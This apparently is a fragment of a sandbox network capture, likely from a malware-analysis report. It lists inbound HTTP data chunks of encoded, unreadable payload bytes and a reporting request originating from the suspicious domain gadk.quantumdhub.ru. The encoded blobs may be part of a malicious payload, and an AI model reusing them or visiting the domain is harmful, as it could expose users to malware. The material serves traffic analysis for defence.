65 54 46 35 63 6e 6f 79 65 58 4e 37 4d 30 49 30 66 44 52 43 Data Ascii: BCNhUYRholTBZONRtdZUNCUVpHKjlqZmgoPS5aZDBlbWNuNlVuS21vVW9LW4JQZkRDhGZ8VIBEfHd9R4FMkGNOf4GWd1GRj2qRc5+gbp+XenFjgIJzZ3+vgmenp7Sxh7Wjp5qCeI6KmZ2ukbWBmZ7Ghqmogb7FmYCwsbyeyLSSycmWzMK5yZzWuLDMvp+twduz18K84cPgy6/fwsLwqtDSwLXzzvb60OjyucrBuwXtxeTF5cnoyeXN7M0I0fDRC
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 74 57 53 6c 4f 50 45 4a 45 48 79 35 6a 58 6d 42 69 58 57 70 6e 58 31 77 2b 59 53 6f 38 5a 6d 5a 73 56 6d 77 76 65 44 46 55 4e 6e 52 53 56 44 74 30 62 48 59 39 64 45 55 2f 68 6b 5a 4a 61 45 64 46 53 47 74 63 6a 32 78 68 52 6f 46 74 62 32 42 70 57 48 56 6b 64 4a 6c 74 62 5a 78 69 6d 35 36 66 6b 58 47 43 70 4a 56 39 58 71 71 5a 71 4b 53 75 6e 61 79 53 73 71 47 77 63 62 61 6c 74 62 43 36 71 62 6d 65 76 71 32 39 77 36 4f 66 75 4a 57 37 78 36 4f 48 6d 34 36 4b 76 5a 36 2b 72 70 43 6a 76 39 69 68 70 61 2b 6c 73 39 36 63 71 37 71 63 73 38 2f 6a 76 74 7a 53 73 4c 2f 6a 70 2b 65 38 35 64 32 71 79 66 4c 64 71 36 2f 77 37 75 65 34 73 37 66 37 2b 2b 76 4e 76 62 38 44 32 4e 62 7a 34 77 50 62 2f 63 67 45 31 77 66 6b 37 4f 72 79 37 66 33 63 43 39 38 52 36 39 4c 54 47 42 Data Ascii: tWSlOPEJEHy5jXmBiXWpnX1w+YSo8ZmZsVmwveDFUNnRSVDt0bHY9dEU/hkZJaEdFSGtcj2xhRoFtb2BpWHVkdJltbZxim56fkXGCpJV9XqqZqKSunaySsqGwcbaltbC6qbmevq29w6OfuJW7x6OHm46KvZ6+rpCjv9ihpa+ls96cq7qcs8/jvtzSsL/jp+e85d2qyfLdq6/w7ue4s7f7++vNvb8D2Nbz4wPb/cgE1wfk7Ory7f3cC98R69LTGB
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 58 57 52 46 58 30 4e 6f 53 57 4d 33 62 45 31 67 59 58 42 52 5a 46 4e 67 54 6c 4a 42 53 57 4d 33 4e 7a 31 47 52 33 46 38 55 6e 5a 73 55 31 4b 41 51 6d 64 6b 52 6f 78 46 62 31 31 47 53 47 56 74 6b 30 2b 53 61 56 42 51 6c 56 4f 46 68 57 68 6e 57 36 4a 63 6b 59 46 62 6d 4a 64 67 66 71 61 4b 65 61 47 66 68 59 5a 76 71 58 75 44 6a 6f 71 4a 62 33 47 45 6c 5a 65 34 6b 5a 71 41 6d 36 42 2b 77 35 75 46 6f 4d 47 31 71 4d 4b 45 7a 4c 33 48 68 38 4c 54 77 72 32 2b 71 38 48 4d 31 4b 50 50 30 39 7a 4a 6d 73 32 54 72 71 44 54 76 4c 61 32 76 65 50 62 36 4d 71 72 35 4c 65 2f 77 73 58 49 72 65 54 41 31 38 36 76 31 75 37 33 79 64 7a 38 7a 4f 6d 38 77 77 53 39 33 50 45 43 32 63 6e 62 41 38 33 71 37 66 41 47 34 4f 30 4c 37 76 37 78 36 38 38 62 30 2b 51 4b 32 75 72 7a 44 50 4c Data Ascii: XWRFX0NoSWM3bE1gYXBRZFNgTlJBSWM3Nz1GR3F8UnZsU1KAQmdkRoxFb11GSGVtk0+SaVBQlVOFhWhnW6JckYFbmJdgfqaKeaGfhYZvqXuDjoqJb3GElZe4kZqAm6B+w5uFoMG1qMKEzL3Hh8LTwr2+q8HM1KPP09zJms2TrqDTvLa2vePb6Mqr5Le/wsXIreTA186v1u73ydz8zOm8wwS93PEC2cnbA83q7fAG4O0L7v7x688b0+QK2urzDPL
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 55 67 6e 4b 43 31 4d 4b 79 6b 73 54 30 42 7a 55 45 55 71 5a 56 46 54 52 45 30 38 57 55 70 78 66 7a 74 38 56 48 32 45 66 58 5a 39 69 57 74 6a 59 33 74 4a 62 70 42 38 61 34 69 43 61 58 68 51 5a 6d 52 63 68 6e 43 52 57 4a 53 41 59 35 4e 76 59 33 69 68 6f 71 42 68 61 6e 57 4b 6e 72 46 75 68 71 35 6d 62 4a 57 44 67 4c 69 55 72 33 57 6e 6c 5a 65 49 6b 59 43 64 6a 36 57 5a 65 62 6d 42 6f 36 44 4a 67 36 76 4a 73 4b 6a 4e 6f 5a 4f 78 31 71 71 72 7a 73 62 4d 74 4a 71 71 71 64 75 36 30 38 36 64 34 63 54 55 30 2b 54 66 78 64 6a 4a 36 65 37 52 32 73 76 55 33 50 57 77 79 4f 37 68 35 74 6a 4a 75 64 48 78 34 4c 37 2b 76 4e 76 56 76 77 44 39 2b 76 66 58 33 2b 6a 64 78 51 73 51 7a 50 7a 31 41 4f 37 69 35 65 73 45 2f 42 76 64 35 75 63 53 48 66 49 57 2f 42 67 52 42 53 6b 47 Data Ascii: UgnKC1MKyksT0BzUEUqZVFTRE08WUpxfzt8VH2EfXZ9iWtjY3tJbpB8a4iCaXhQZmRchnCRWJSAY5NvY3ihoqBhanWKnrFuhq5mbJWDgLiUr3WnlZeIkYCdj6WZebmBo6DJg6vJsKjNoZOx1qqrzsbMtJqqqdu6086d4cTU0+TfxdjJ6e7R2svU3PWwyO7h5tjJudHx4L7+vNvVvwD9+vfX3+jdxQsQzPz1AO7i5esE/Bvd5ucSHfIW/BgRBSkG
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 70 49 52 45 46 30 61 6a 39 33 4c 33 74 71 54 31 34 31 53 6e 78 67 56 58 4e 37 68 46 52 56 52 6c 46 41 64 59 46 57 54 48 6d 46 65 30 75 52 63 70 52 50 59 57 6c 54 69 32 78 70 58 48 70 62 6f 49 47 5a 66 5a 65 6c 64 4a 75 44 64 48 68 7a 71 4b 35 73 66 57 61 69 61 58 47 4c 6e 6e 56 70 65 49 2b 71 64 35 6d 4d 6a 72 68 33 74 6f 36 43 73 34 2b 58 79 49 4f 66 75 73 47 6e 78 36 6d 4a 69 49 4f 4e 72 38 6d 53 71 74 4c 57 30 73 54 4f 6c 64 43 64 6c 2b 44 52 6f 63 43 66 6f 4b 58 45 6f 36 47 6b 78 37 6a 72 79 4c 32 69 33 63 6e 4c 76 4d 57 30 30 63 6e 6f 30 64 44 71 79 66 57 31 38 65 7a 31 32 2f 48 62 32 2f 50 47 42 73 6f 4e 41 77 72 35 2b 4f 6e 74 37 39 76 63 43 4f 62 69 37 78 4c 6a 2b 2b 6a 39 2f 68 72 73 36 68 30 52 42 4f 34 6f 42 42 2f 32 49 79 77 6a 41 77 2f 73 2b Data Ascii: pIREF0aj93L3tqT141SnxgVXN7hFRVRlFAdYFWTHmFe0uRcpRPYWlTi2xpXHpboIGZfZeldJuDdHhzqK5sfWaiaXGLnnVpeI+qd5mMjrh3to6Cs4+XyIOfusGnx6mJiIONr8mSqtLW0sTOldCdl+DRocCfoKXEo6Gkx7jryL2i3cnLvMW00cno0dDqyfW18ez12/Hb2/PGBsoNAwr5+Ont79vcCObi7xLj++j9/hrs6h0RBO4oBB/2IywjAw/s+
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 51 4e 31 52 6c 4d 6a 64 6f 5a 31 52 55 65 7a 74 7a 65 30 2b 44 57 33 46 6e 61 59 68 32 53 32 46 66 55 4a 4b 47 5a 48 39 53 69 47 75 44 61 6c 56 74 69 48 53 4d 64 59 74 33 59 31 78 75 65 6e 4f 58 70 70 2b 63 59 33 56 34 68 57 65 66 65 6f 70 74 6c 59 2b 42 6b 58 57 5a 6a 4a 53 4a 76 34 71 74 75 34 44 41 72 6f 4b 5a 76 4b 61 42 70 35 65 36 7a 61 4b 42 76 73 53 79 74 4a 48 41 31 4d 2b 30 79 4e 53 73 73 4e 4f 36 31 74 4b 68 77 72 2f 42 33 4e 76 42 35 38 4f 36 75 72 7a 6e 74 2b 76 48 38 63 37 4f 30 38 33 45 72 76 48 58 39 66 66 50 35 73 33 71 7a 50 4c 67 36 38 33 41 31 38 4c 56 41 76 59 42 33 41 6b 4d 41 76 6a 35 35 51 73 4c 45 76 59 4a 31 42 72 6f 45 51 58 62 37 39 37 6f 44 66 6a 35 48 50 6a 66 38 41 59 44 48 41 54 32 4c 69 4c 6d 2b 67 73 74 43 69 30 4f 46 66 Data Ascii: QN1RlMjdoZ1RUeztze0+DW3FnaYh2S2FfUJKGZH9SiGuDalVtiHSMdYt3Y1xuenOXpp+cY3V4hWefeoptlY+BkXWZjJSJv4qtu4DAroKZvKaBp5e6zaKBvsSytJHA1M+0yNSssNO61tKhwr/B3NvB58O6urznt+vH8c7O083ErvHX9ffP5s3qzPLg683A18LVAvYB3AkMAvj55QsLEvYJ1BroEQXb797oDfj5HPjf8AYDHAT2LiLm+gstCi0OFf
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 5a 30 41 36 67 32 74 45 50 6a 35 55 63 46 39 65 56 6d 4f 44 58 32 31 65 68 58 36 4e 5a 6f 68 6d 67 47 4a 30 62 47 68 75 66 6e 56 39 62 57 36 4b 68 46 75 66 67 70 64 78 71 58 31 7a 6c 5a 35 74 6f 59 70 76 5a 4b 43 6a 67 62 4b 47 68 36 2b 57 6c 6f 75 64 6e 48 57 37 69 72 53 33 67 4b 32 51 75 34 57 58 71 72 36 73 69 6f 44 48 78 4b 61 6d 6b 62 32 6e 6c 71 6d 70 71 72 57 36 7a 64 6a 4b 78 39 54 51 79 38 53 76 33 4d 48 46 78 72 4c 56 7a 4f 6e 4f 71 63 66 68 78 64 32 75 37 36 7a 47 34 4d 50 4e 72 4e 6e 74 30 62 72 58 79 37 6e 51 30 50 58 39 7a 76 48 49 77 75 44 56 34 50 62 66 41 51 59 4c 2f 76 73 4d 34 2f 59 52 46 41 72 69 2b 77 37 7a 45 64 45 51 48 67 4c 68 49 69 4d 58 2f 76 59 48 4b 51 55 71 49 52 76 36 4a 2b 7a 2b 2f 54 41 50 4b 43 51 4a 39 67 63 7a 4b 53 73 Data Ascii: Z0A6g2tEPj5UcF9eVmODX21ehX6NZohmgGJ0bGhufnV9bW6KhFufgpdxqX1zlZ5toYpvZKCjgbKGh6+WloudnHW7irS3gK2Qu4WXqr6sioDHxKamkb2nlqmpqrW6zdjKx9TQy8Sv3MHFxrLVzOnOqcfhxd2u76zG4MPNrNnt0brXy7nQ0PX9zvHIwuDV4PbfAQYL/vsM4/YRFAri+w7zEdEQHgLhIiMX/vYHKQUqIRv6J+z+/TAPKCQJ9gczKSs
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 56 52 2b 63 47 4e 37 66 59 46 37 53 45 35 59 57 6b 31 76 6b 6f 31 31 55 32 32 43 64 6c 4f 47 57 70 42 5a 64 46 31 35 66 4a 2b 4f 58 33 70 7a 5a 70 4b 4a 69 49 36 63 65 6e 6c 70 69 71 31 38 69 59 46 75 6b 34 79 6c 69 6e 71 57 72 72 2b 67 72 4a 57 38 6f 70 53 6c 65 62 2f 47 67 63 4f 37 6d 38 79 48 78 61 71 71 6a 70 7a 54 77 61 4f 68 72 39 72 59 74 74 57 77 6e 73 76 51 32 4e 6d 66 6c 37 37 66 34 39 6e 59 71 65 47 6b 71 2b 33 74 70 36 6e 51 35 73 7a 67 35 73 6e 51 2b 76 7a 53 31 74 2f 38 7a 4e 75 2b 39 76 7a 34 38 4f 4d 42 38 63 6b 43 77 75 33 65 41 4d 2f 70 2f 65 51 49 35 50 48 52 45 66 62 35 43 42 48 6d 48 2f 58 64 43 2f 6e 74 31 67 4d 65 33 2f 6a 66 43 79 30 4f 41 79 4d 64 36 53 51 65 36 67 72 72 4d 53 51 35 4f 52 45 50 39 44 76 30 4c 55 49 37 48 78 6f 2b Data Ascii: VR+cGN7fYF7SE5YWk1vko11U22CdlOGWpBZdF15fJ+OX3pzZpKJiI6cenlpiq18iYFuk4ylinqWrr+grJW8opSleb/GgcO7m8yHxaqqjpzTwaOhr9rYttWwnsvQ2Nmfl77f49nYqeGkq+3tp6nQ5szg5snQ+vzS1t/8zNu+9vz48OMB8ckCwu3eAM/p/eQI5PHREfb5CBHmH/XdC/nt1gMe3/jfCy0OAyMd6SQe6grrMSQ5OREP9Dv0LUI7Hxo+

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:57 UTC	536	OUT	OPTIONS /report/v4?s=4Zs16ks2siptKF0TTTImZcm1g8hmLIveGGK5ITF%2FStCvWAItQyCIHNRek7Du8k5yIEIQ8yqHdqLRiNw7ijlbbW6s48H58bHYSbVtsLqb8dlqa%2FQgnM7j7qPyOl4tAA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://gadk.quantumdhub.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:58 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 20 Dec 2024 23:35:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close